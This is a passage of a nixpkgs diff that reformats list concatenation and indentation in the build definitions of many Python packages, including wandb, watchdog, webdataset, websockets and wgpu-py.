-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_CUTLASS" "${lib.getDev cutlass}")
-      (lib.cmakeFeature "FLASH_MLA_SRC_DIR" "${lib.getDev flashmla}")
-      (lib.cmakeFeature "VLLM_FLASH_ATTN_SRC_DIR" "${lib.getDev vllm-flash-attn}")
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "TORCH_CUDA_ARCH_LIST" "${gpuTargetString}")
-      (lib.cmakeFeature "CUTLASS_NVCC_ARCHS_ENABLED" "${cudaPackages.flags.cmakeCudaArchitecturesString}")
-      (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${symlinkJoin {
-        name = "cuda-merged-${cudaPackages.cudaMajorMinorVersion}";
-        paths = builtins.concatMap getAllOutputs mergedCudaLibraries;
-      }}")
-      (lib.cmakeFeature "CAFFE2_USE_CUDNN" "ON")
-      (lib.cmakeFeature "CAFFE2_USE_CUFILE" "ON")
-      (lib.cmakeFeature "CUTLASS_ENABLE_CUBLAS" "ON")
-    ]
-    ++ lib.optionals cpuSupport [
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ONEDNN" "${lib.getDev oneDNN}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_CUTLASS" "${lib.getDev cutlass}")
+    (lib.cmakeFeature "FLASH_MLA_SRC_DIR" "${lib.getDev flashmla}")
+    (lib.cmakeFeature "VLLM_FLASH_ATTN_SRC_DIR" "${lib.getDev vllm-flash-attn}")
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "TORCH_CUDA_ARCH_LIST" "${gpuTargetString}")
+    (lib.cmakeFeature "CUTLASS_NVCC_ARCHS_ENABLED" "${cudaPackages.flags.cmakeCudaArchitecturesString}")
+    (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${symlinkJoin {
+      name = "cuda-merged-${cudaPackages.cudaMajorMinorVersion}";
+      paths = builtins.concatMap getAllOutputs mergedCudaLibraries;
+    }}")
+    (lib.cmakeFeature "CAFFE2_USE_CUDNN" "ON")
+    (lib.cmakeFeature "CAFFE2_USE_CUFILE" "ON")
+    (lib.cmakeFeature "CUTLASS_ENABLE_CUBLAS" "ON")
+  ]
+  ++ lib.optionals cpuSupport [
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ONEDNN" "${lib.getDev oneDNN}")
+  ];
 
   env =
     lib.optionalAttrs cudaSupport {
diff --git a/pkgs/development/python-modules/volvooncall/default.nix b/pkgs/development/python-modules/volvooncall/default.nix
index 0e4deae81b5a..bb630bbe02ed 100644
--- a/pkgs/development/python-modules/volvooncall/default.nix
+++ b/pkgs/development/python-modules/volvooncall/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     mock
     pytest-asyncio
     pytestCheckHook
-  ] ++ optional-dependencies.mqtt;
+  ]
+  ++ optional-dependencies.mqtt;
 
   pythonImportsCheck = [ "volvooncall" ];
 
diff --git a/pkgs/development/python-modules/w1thermsensor/default.nix b/pkgs/development/python-modules/w1thermsensor/default.nix
index af8854ce96ec..4a417f3e8a79 100644
--- a/pkgs/development/python-modules/w1thermsensor/default.nix
+++ b/pkgs/development/python-modules/w1thermsensor/default.nix
@@ -39,14 +39,13 @@ buildPythonPackage rec {
   # Don't try to load the kernel module in tests.
   env.W1THERMSENSOR_NO_KERNEL_MODULE = 1;
 
-  nativeCheckInputs =
-    [
-      pytest-mock
-      pytest-asyncio
-      pytestCheckHook
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.flatten (builtins.attrValues optional-dependencies);
+  nativeCheckInputs = [
+    pytest-mock
+    pytest-asyncio
+    pytestCheckHook
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "w1thermsensor" ];
 
diff --git a/pkgs/development/python-modules/wagtail/default.nix b/pkgs/development/python-modules/wagtail/default.nix
index b653033193f0..a0035536ee64 100644
--- a/pkgs/development/python-modules/wagtail/default.nix
+++ b/pkgs/development/python-modules/wagtail/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
     requests
     telepath
     willow
-  ] ++ willow.optional-dependencies.heif;
+  ]
+  ++ willow.optional-dependencies.heif;
 
   # Tests are in separate derivation because they require a package that depends
   # on wagtail (wagtail-factories)
diff --git a/pkgs/development/python-modules/wandb/default.nix b/pkgs/development/python-modules/wandb/default.nix
index ee89f7c83d50..f9b947a2de15 100644
--- a/pkgs/development/python-modules/wandb/default.nix
+++ b/pkgs/development/python-modules/wandb/default.nix
@@ -208,28 +208,27 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      click
-      docker-pycreds
-      gitpython
-      platformdirs
-      protobuf
-      psutil
-      pydantic
-      pyyaml
-      requests
-      sentry-sdk
-      setproctitle
-      # setuptools is necessary since pkg_resources is required at runtime.
-      setuptools
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      eval-type-backport
-    ]
-    ++ lib.optionals (pythonOlder "3.12") [
-      typing-extensions
-    ];
+  dependencies = [
+    click
+    docker-pycreds
+    gitpython
+    platformdirs
+    protobuf
+    psutil
+    pydantic
+    pyyaml
+    requests
+    sentry-sdk
+    setproctitle
+    # setuptools is necessary since pkg_resources is required at runtime.
+    setuptools
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    eval-type-backport
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [
+    typing-extensions
+  ];
 
   __darwinAllowLocalNetworking = true;
 
@@ -287,98 +286,97 @@ buildPythonPackage rec {
     "tests/unit_tests/test_analytics/test_sentry.py"
   ];
 
-  disabledTests =
-    [
-      # Probably failing because of lack of internet access
-      # AttributeError: module 'wandb.sdk.launch.registry' has no attribute 'azure_container_registry'. Did you mean: 'elastic_container_registry'?
-      "test_registry_from_uri"
+  disabledTests = [
+    # Probably failing because of lack of internet access
+    # AttributeError: module 'wandb.sdk.launch.registry' has no attribute 'azure_container_registry'. Did you mean: 'elastic_container_registry'?
+    "test_registry_from_uri"
 
-      # Require docker
-      "test_get_requirements_section_pyproject"
-      "test_local_custom_env"
-      "test_local_custom_port"
-      "test_local_default"
+    # Require docker
+    "test_get_requirements_section_pyproject"
+    "test_local_custom_env"
+    "test_local_custom_port"
+    "test_local_default"
 
-      # Expects python binary to be named `python3` but nix provides `python3.12`
-      # AssertionError: assert ['python3.12', 'main.py'] == ['python3', 'main.py']
-      "test_get_entrypoint"
+    # Expects python binary to be named `python3` but nix provides `python3.12`
+    # AssertionError: assert ['python3.12', 'main.py'] == ['python3', 'main.py']
+    "test_get_entrypoint"
 
-      # Require internet access
-      "test_audio_refs"
-      "test_bind_image"
-      "test_check_cors_configuration"
-      "test_check_wandb_version"
-      "test_from_path_project_type"
-      "test_image_accepts_bounding_boxes"
-      "test_image_accepts_bounding_boxes_optional_args"
-      "test_image_accepts_masks"
-      "test_image_accepts_masks_without_class_labels"
-      "test_image_seq_to_json"
-      "test_max_images"
-      "test_media_keys_escaped_as_glob_for_publish"
-      "test_parse_path"
-      "test_parse_project_path"
-      "test_translates_azure_err_to_normal_err"
+    # Require internet access
+    "test_audio_refs"
+    "test_bind_image"
+    "test_check_cors_configuration"
+    "test_check_wandb_version"
+    "test_from_path_project_type"
+    "test_image_accepts_bounding_boxes"
+    "test_image_accepts_bounding_boxes_optional_args"
+    "test_image_accepts_masks"
+    "test_image_accepts_masks_without_class_labels"
+    "test_image_seq_to_json"
+    "test_max_images"
+    "test_media_keys_escaped_as_glob_for_publish"
+    "test_parse_path"
+    "test_parse_project_path"
+    "test_translates_azure_err_to_normal_err"
 
-      # tests assertion if filesystem is compressed
-      "test_artifact_file_cache_cleanup"
+    # tests assertion if filesystem is compressed
+    "test_artifact_file_cache_cleanup"
 
-      # Tries to access a storage disk but there are none in the sandbox
-      # psutil.test_disk_out() returns None
-      "test_disk_in"
-      "test_disk_out"
+    # Tries to access a storage disk but there are none in the sandbox
+    # psutil.test_disk_out() returns None
+    "test_disk_in"
+    "test_disk_out"
 
-      # AssertionError: assert is_available('http://localhost:9400/metrics')
-      "test_dcgm"
+    # AssertionError: assert is_available('http://localhost:9400/metrics')
+    "test_dcgm"
 
-      # Error in the moviepy package:
-      # TypeError: must be real number, not NoneType
-      "test_video_numpy_mp4"
+    # Error in the moviepy package:
+    # TypeError: must be real number, not NoneType
+    "test_video_numpy_mp4"
 
-      # AssertionError: assert not _IS_INTERNAL_PROCESS
-      "test_disabled_can_pickle"
-      "test_disabled_context_manager"
-      "test_mode_disabled"
+    # AssertionError: assert not _IS_INTERNAL_PROCESS
+    "test_disabled_can_pickle"
+    "test_disabled_context_manager"
+    "test_mode_disabled"
 
-      # AssertionError: "one of name or plugin needs to be specified"
-      "test_opener_works_across_filesystem_boundaries"
-      "test_md5_file_hashes_on_mounted_filesystem"
+    # AssertionError: "one of name or plugin needs to be specified"
+    "test_opener_works_across_filesystem_boundaries"
+    "test_md5_file_hashes_on_mounted_filesystem"
 
-      # AttributeError: 'bytes' object has no attribute 'read'
-      "test_rewinds_on_failure"
-      "test_smoke"
-      "test_handles_multiple_calls"
+    # AttributeError: 'bytes' object has no attribute 'read'
+    "test_rewinds_on_failure"
+    "test_smoke"
+    "test_handles_multiple_calls"
 
-      # wandb.sdk.launch.errors.LaunchError: Found invalid name for agent MagicMock
-      "test_monitor_preempted"
-      "test_monitor_failed"
-      "test_monitor_running"
-      "test_monitor_job_deleted"
+    # wandb.sdk.launch.errors.LaunchError: Found invalid name for agent MagicMock
+    "test_monitor_preempted"
+    "test_monitor_failed"
+    "test_monitor_running"
+    "test_monitor_job_deleted"
 
-      # Timeout >1024.0s
-      "test_log_media_prefixed_with_multiple_slashes"
-      "test_log_media_saves_to_run_directory"
-      "test_log_media_with_path_traversal"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # AssertionError: assert not copy2_mock.called
-      "test_copy_or_overwrite_changed_no_copy"
+    # Timeout >1024.0s
+    "test_log_media_prefixed_with_multiple_slashes"
+    "test_log_media_saves_to_run_directory"
+    "test_log_media_with_path_traversal"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # AssertionError: assert not copy2_mock.called
+    "test_copy_or_overwrite_changed_no_copy"
 
-      # Fatal Python error: Aborted
-      "test_convert_plots"
-      "test_gpu_apple"
-      "test_image_from_matplotlib_with_image"
-      "test_make_plot_media_from_matplotlib_with_image"
-      "test_make_plot_media_from_matplotlib_without_image"
-      "test_matplotlib_contains_images"
-      "test_matplotlib_image"
-      "test_matplotlib_plotly_with_multiple_axes"
-      "test_matplotlib_to_plotly"
-      "test_plotly_from_matplotlib_with_image"
+    # Fatal Python error: Aborted
+    "test_convert_plots"
+    "test_gpu_apple"
+    "test_image_from_matplotlib_with_image"
+    "test_make_plot_media_from_matplotlib_with_image"
+    "test_make_plot_media_from_matplotlib_without_image"
+    "test_matplotlib_contains_images"
+    "test_matplotlib_image"
+    "test_matplotlib_plotly_with_multiple_axes"
+    "test_matplotlib_to_plotly"
+    "test_plotly_from_matplotlib_with_image"
 
-      # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
-      "test_wandb_image_with_matplotlib_figure"
-    ];
+    # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
+    "test_wandb_image_with_matplotlib_figure"
+  ];
 
   pythonImportsCheck = [ "wandb" ];
 
diff --git a/pkgs/development/python-modules/watchdog/default.nix b/pkgs/development/python-modules/watchdog/default.nix
index a577eb617c0b..5e96dd36eca0 100644
--- a/pkgs/development/python-modules/watchdog/default.nix
+++ b/pkgs/development/python-modules/watchdog/default.nix
@@ -27,15 +27,14 @@ buildPythonPackage rec {
 
   optional-dependencies.watchmedo = [ pyyaml ];
 
-  nativeCheckInputs =
-    [
-      flaky
-      pytest-cov-stub
-      pytest-timeout
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.watchmedo
-    ++ lib.optionals (pythonOlder "3.13") [ eventlet ];
+  nativeCheckInputs = [
+    flaky
+    pytest-cov-stub
+    pytest-timeout
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.watchmedo
+  ++ lib.optionals (pythonOlder "3.13") [ eventlet ];
 
   postPatch = ''
     substituteInPlace setup.cfg \
@@ -43,56 +42,54 @@ buildPythonPackage rec {
       --replace "--cov-report=term-missing" ""
   '';
 
-  pytestFlagsArray =
-    [
-      "--deselect=tests/test_emitter.py::test_create_wrong_encoding"
-      "--deselect=tests/test_emitter.py::test_close"
-      # assert cap.out.splitlines(keepends=False).count('+++++ 0') == 2 != 3
-      "--deselect=tests/test_0_watchmedo.py::test_auto_restart_on_file_change_debounce"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # fails to stop process in teardown
-      "--deselect=tests/test_0_watchmedo.py::test_auto_restart_subprocess_termination"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # FileCreationEvent != FileDeletionEvent
-      "--deselect=tests/test_emitter.py::test_separate_consecutive_moves"
-      "--deselect=tests/test_observers_polling.py::test___init__"
-      # segfaults
-      "--deselect=tests/test_delayed_queue.py::test_delayed_get"
-      "--deselect=tests/test_emitter.py::test_delete"
-      # AttributeError: '_thread.RLock' object has no attribute 'key'"
-      "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # segfaults
-      "--deselect=tests/test_delayed_queue.py::test_delayed_get"
-      "--deselect=tests/test_0_watchmedo.py::test_tricks_from_file"
-      "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_1"
-      "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_2"
-      "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
-      "--deselect=tests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
-      # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
-      "--deselect=tests/test_fsevents.py::test_watchdog_recursive"
-      # SystemError: Cannot start fsevents stream. Use a kqueue or polling observer...
-      "--deselect=tests/test_fsevents.py::test_add_watch_twice"
-      # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
-      "--deselect=ests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
-      # gets stuck
-      "--deselect=tests/test_fsevents.py::test_converting_cfstring_to_pyunicode"
-    ];
+  pytestFlagsArray = [
+    "--deselect=tests/test_emitter.py::test_create_wrong_encoding"
+    "--deselect=tests/test_emitter.py::test_close"
+    # assert cap.out.splitlines(keepends=False).count('+++++ 0') == 2 != 3
+    "--deselect=tests/test_0_watchmedo.py::test_auto_restart_on_file_change_debounce"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # fails to stop process in teardown
+    "--deselect=tests/test_0_watchmedo.py::test_auto_restart_subprocess_termination"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # FileCreationEvent != FileDeletionEvent
+    "--deselect=tests/test_emitter.py::test_separate_consecutive_moves"
+    "--deselect=tests/test_observers_polling.py::test___init__"
+    # segfaults
+    "--deselect=tests/test_delayed_queue.py::test_delayed_get"
+    "--deselect=tests/test_emitter.py::test_delete"
+    # AttributeError: '_thread.RLock' object has no attribute 'key'"
+    "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # segfaults
+    "--deselect=tests/test_delayed_queue.py::test_delayed_get"
+    "--deselect=tests/test_0_watchmedo.py::test_tricks_from_file"
+    "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_1"
+    "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_2"
+    "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
+    "--deselect=tests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
+    # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
+    "--deselect=tests/test_fsevents.py::test_watchdog_recursive"
+    # SystemError: Cannot start fsevents stream. Use a kqueue or polling observer...
+    "--deselect=tests/test_fsevents.py::test_add_watch_twice"
+    # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
+    "--deselect=ests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
+    # gets stuck
+    "--deselect=tests/test_fsevents.py::test_converting_cfstring_to_pyunicode"
+  ];
 
-  disabledTestPaths =
-    [
-      # tests timeout easily
-      "tests/test_inotify_buffer.py"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # segfaults the testsuite
-      "tests/test_emitter.py"
-      # unsupported on x86_64-darwin
-      "tests/test_fsevents.py"
-    ];
+  disabledTestPaths = [
+    # tests timeout easily
+    "tests/test_inotify_buffer.py"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # segfaults the testsuite
+    "tests/test_emitter.py"
+    # unsupported on x86_64-darwin
+    "tests/test_fsevents.py"
+  ];
 
   pythonImportsCheck = [ "watchdog" ];
 
diff --git a/pkgs/development/python-modules/watermark/default.nix b/pkgs/development/python-modules/watermark/default.nix
index b44ca8eda645..569b9d02bdc7 100644
--- a/pkgs/development/python-modules/watermark/default.nix
+++ b/pkgs/development/python-modules/watermark/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "watermark" ];
 
diff --git a/pkgs/development/python-modules/weasyprint/default.nix b/pkgs/development/python-modules/weasyprint/default.nix
index 696bee47ac5f..3534fbaaafa7 100644
--- a/pkgs/development/python-modules/weasyprint/default.nix
+++ b/pkgs/development/python-modules/weasyprint/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     pyphen
     tinycss2
     tinyhtml5
-  ] ++ fonttools.optional-dependencies.woff;
+  ]
+  ++ fonttools.optional-dependencies.woff;
 
   nativeCheckInputs = [
     pkgs.ghostscript
diff --git a/pkgs/development/python-modules/web/default.nix b/pkgs/development/python-modules/web/default.nix
index b14aeeb3294f..e8f859c50742 100644
--- a/pkgs/development/python-modules/web/default.nix
+++ b/pkgs/development/python-modules/web/default.nix
@@ -24,7 +24,8 @@ buildPythonPackage rec {
 
   propagatedBuildInputs = [
     cheroot
-  ] ++ lib.optional (pythonAtLeast "3.13") legacy-cgi;
+  ]
+  ++ lib.optional (pythonAtLeast "3.13") legacy-cgi;
 
   # requires multiple running databases
   doCheck = false;
diff --git a/pkgs/development/python-modules/web3/default.nix b/pkgs/development/python-modules/web3/default.nix
index 282de6e5824a..1ec9324c3392 100644
--- a/pkgs/development/python-modules/web3/default.nix
+++ b/pkgs/development/python-modules/web3/default.nix
@@ -55,26 +55,25 @@ buildPythonPackage rec {
     "websockets"
   ];
 
-  dependencies =
-    [
-      aiohttp
-      eth-abi
-      eth-account
-      eth-hash
-    ]
-    ++ eth-hash.optional-dependencies.pycryptodome
-    ++ [
-      eth-typing
-      eth-utils
-      hexbytes
-      jsonschema
-      lru-dict
-      protobuf
-      pydantic
-      requests
-      types-requests
-      websockets
-    ];
+  dependencies = [
+    aiohttp
+    eth-abi
+    eth-account
+    eth-hash
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome
+  ++ [
+    eth-typing
+    eth-utils
+    hexbytes
+    jsonschema
+    lru-dict
+    protobuf
+    pydantic
+    requests
+    types-requests
+    websockets
+  ];
 
   # Note: to reflect the extra_requires in main/setup.py.
   optional-dependencies = {
diff --git a/pkgs/development/python-modules/webdataset/default.nix b/pkgs/development/python-modules/webdataset/default.nix
index bf7794d33608..50cea1cba689 100644
--- a/pkgs/development/python-modules/webdataset/default.nix
+++ b/pkgs/development/python-modules/webdataset/default.nix
@@ -57,38 +57,37 @@ buildPythonPackage rec {
     export WIDS_CACHE=$TMPDIR
   '';
 
-  disabledTests =
-    [
-      # requires network
-      "test_batched"
-      "test_cache_dir"
-      "test_concurrent_download_and_open"
-      "test_dataloader"
-      "test_decode_handlers"
-      "test_decoder"
-      "test_download"
-      "test_handlers"
-      "test_pipe"
-      "test_remote_file"
-      "test_shard_syntax"
-      "test_torchvision"
-      "test_unbatched"
-      "test_yaml3"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # pickling error
-      "test_background_download"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isx86_64 && stdenv.hostPlatform.isDarwin) [
-      "test_concurrent_access"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
-      # segfaults on aarch64-linux
-      "test_webloader"
-      "test_webloader2"
-      "test_webloader_repeat"
-      "test_webloader_unbatched"
-    ];
+  disabledTests = [
+    # requires network
+    "test_batched"
+    "test_cache_dir"
+    "test_concurrent_download_and_open"
+    "test_dataloader"
+    "test_decode_handlers"
+    "test_decoder"
+    "test_download"
+    "test_handlers"
+    "test_pipe"
+    "test_remote_file"
+    "test_shard_syntax"
+    "test_torchvision"
+    "test_unbatched"
+    "test_yaml3"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # pickling error
+    "test_background_download"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isx86_64 && stdenv.hostPlatform.isDarwin) [
+    "test_concurrent_access"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
+    # segfaults on aarch64-linux
+    "test_webloader"
+    "test_webloader2"
+    "test_webloader_repeat"
+    "test_webloader_unbatched"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     # Issue with creating a temp file in the sandbox
diff --git a/pkgs/development/python-modules/webdav4/default.nix b/pkgs/development/python-modules/webdav4/default.nix
index 4f40d993758b..53ecaf568bd8 100644
--- a/pkgs/development/python-modules/webdav4/default.nix
+++ b/pkgs/development/python-modules/webdav4/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-cov-stub
     wsgidav
-  ] ++ optional-dependencies.fsspec;
+  ]
+  ++ optional-dependencies.fsspec;
 
   optional-dependencies = {
     fsspec = [ fsspec ];
diff --git a/pkgs/development/python-modules/weblate-schemas/default.nix b/pkgs/development/python-modules/weblate-schemas/default.nix
index ac974171355b..84bb3cdc69a3 100644
--- a/pkgs/development/python-modules/weblate-schemas/default.nix
+++ b/pkgs/development/python-modules/weblate-schemas/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     fedora-messaging
     pytestCheckHook
-  ] ++ jsonschema.optional-dependencies.format;
+  ]
+  ++ jsonschema.optional-dependencies.format;
 
   pythonImportsCheck = [ "weblate_schemas" ];
 
diff --git a/pkgs/development/python-modules/websockets/default.nix b/pkgs/development/python-modules/websockets/default.nix
index 50b2c11c4b53..25ff8ada5b62 100644
--- a/pkgs/development/python-modules/websockets/default.nix
+++ b/pkgs/development/python-modules/websockets/default.nix
@@ -26,26 +26,25 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  disabledTests =
-    [
-      # Disables tests relying on tight timeouts to avoid failures like:
-      #   File "/build/source/tests/legacy/test_protocol.py", line 1270, in test_keepalive_ping_with_no_ping_timeout
-      #     ping_1_again, ping_2 = tuple(self.protocol.pings)
-      #   ValueError: too many values to unpack (expected 2)
-      "test_keepalive_ping_stops_when_connection_closing"
-      "test_keepalive_ping_does_not_crash_when_connection_lost"
-      "test_keepalive_ping"
-      "test_keepalive_ping_not_acknowledged_closes_connection"
-      "test_keepalive_ping_with_no_ping_timeout"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/python-websockets/websockets/issues/1569
-      "test_writing_in_send_context_fails"
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      # Our Python 3.10 and older raise SSLError instead of SSLCertVerificationError
-      "test_reject_invalid_server_certificate"
-    ];
+  disabledTests = [
+    # Disables tests relying on tight timeouts to avoid failures like:
+    #   File "/build/source/tests/legacy/test_protocol.py", line 1270, in test_keepalive_ping_with_no_ping_timeout
+    #     ping_1_again, ping_2 = tuple(self.protocol.pings)
+    #   ValueError: too many values to unpack (expected 2)
+    "test_keepalive_ping_stops_when_connection_closing"
+    "test_keepalive_ping_does_not_crash_when_connection_lost"
+    "test_keepalive_ping"
+    "test_keepalive_ping_not_acknowledged_closes_connection"
+    "test_keepalive_ping_with_no_ping_timeout"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/python-websockets/websockets/issues/1569
+    "test_writing_in_send_context_fails"
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    # Our Python 3.10 and older raise SSLError instead of SSLCertVerificationError
+    "test_reject_invalid_server_certificate"
+  ];
 
   nativeCheckInputs = [
     unittestCheckHook
diff --git a/pkgs/development/python-modules/weconnect-mqtt/default.nix b/pkgs/development/python-modules/weconnect-mqtt/default.nix
index 2c7b5045cf83..d8ee33f4fcab 100644
--- a/pkgs/development/python-modules/weconnect-mqtt/default.nix
+++ b/pkgs/development/python-modules/weconnect-mqtt/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     paho-mqtt
     python-dateutil
     weconnect
-  ] ++ weconnect.optional-dependencies.Images;
+  ]
+  ++ weconnect.optional-dependencies.Images;
 
   nativeCheckInputs = [
     pytest-cov-stub
diff --git a/pkgs/development/python-modules/werkzeug/default.nix b/pkgs/development/python-modules/werkzeug/default.nix
index aef1412124fd..b51326f7a373 100644
--- a/pkgs/development/python-modules/werkzeug/default.nix
+++ b/pkgs/development/python-modules/werkzeug/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     ephemeral-port-reserve
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "werkzeug" ];
 
@@ -62,7 +63,8 @@ buildPythonPackage rec {
     # ResourceWarning: subprocess 309 is still running
     "test_basic"
     "test_long_build"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_get_machine_id" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_get_machine_id" ];
 
   disabledTestPaths = [
     # ConnectionRefusedError: [Errno 111] Connection refused
diff --git a/pkgs/development/python-modules/wfuzz/default.nix b/pkgs/development/python-modules/wfuzz/default.nix
index 0ac28138a076..2277341460be 100644
--- a/pkgs/development/python-modules/wfuzz/default.nix
+++ b/pkgs/development/python-modules/wfuzz/default.nix
@@ -48,17 +48,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      chardet
-      distutils # src/wfuzz/plugin_api/base.py
-      pycurl
-      six
-      setuptools
-      pyparsing
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isWindows [ colorama ]
-    ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
+  dependencies = [
+    chardet
+    distutils # src/wfuzz/plugin_api/base.py
+    pycurl
+    six
+    setuptools
+    pyparsing
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isWindows [ colorama ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ legacy-cgi ];
 
   nativeCheckInputs = [
     netaddr
diff --git a/pkgs/development/python-modules/wgpu-py/default.nix b/pkgs/development/python-modules/wgpu-py/default.nix
index eab8ceb8a1dc..0a508c66561d 100644
--- a/pkgs/development/python-modules/wgpu-py/default.nix
+++ b/pkgs/development/python-modules/wgpu-py/default.nix
@@ -106,50 +106,49 @@ buildPythonPackage rec {
   doCheck = false;
 
   passthru = {
-    tests =
-      {
-        version = testers.testVersion {
-          package = wgpu-py;
-          command = "python3 -c 'import wgpu; print(wgpu.__version__)'";
-        };
-      }
-      // lib.optionalAttrs stdenv.buildPlatform.isDarwin {
-        tests = testers.runCommand {
-          name = "tests";
-          script = ''
-            WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
-              pytest -v ${wgpu-py.src}/tests
-          '';
-          nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
-        };
-
-        examples = testers.runCommand {
-          name = "examples";
-          script = ''
-            WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
-              pytest -v ${wgpu-py.src}/examples
-          '';
-          nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
-        };
-
-        codegen = testers.runCommand {
-          name = "codegen";
-          script = ''
-            WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
-              pytest -v ${wgpu-py.src}/codegen
-          '';
-          nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
-        };
-
-        tests_mem = testers.runCommand {
-          name = "tests_mem";
-          script = ''
-            WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
-              pytest -v ${wgpu-py.src}/tests_mem
-          '';
-          nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
-        };
+    tests = {
+      version = testers.testVersion {
+        package = wgpu-py;
+        command = "python3 -c 'import wgpu; print(wgpu.__version__)'";
       };
+    }
+    // lib.optionalAttrs stdenv.buildPlatform.isDarwin {
+      tests = testers.runCommand {
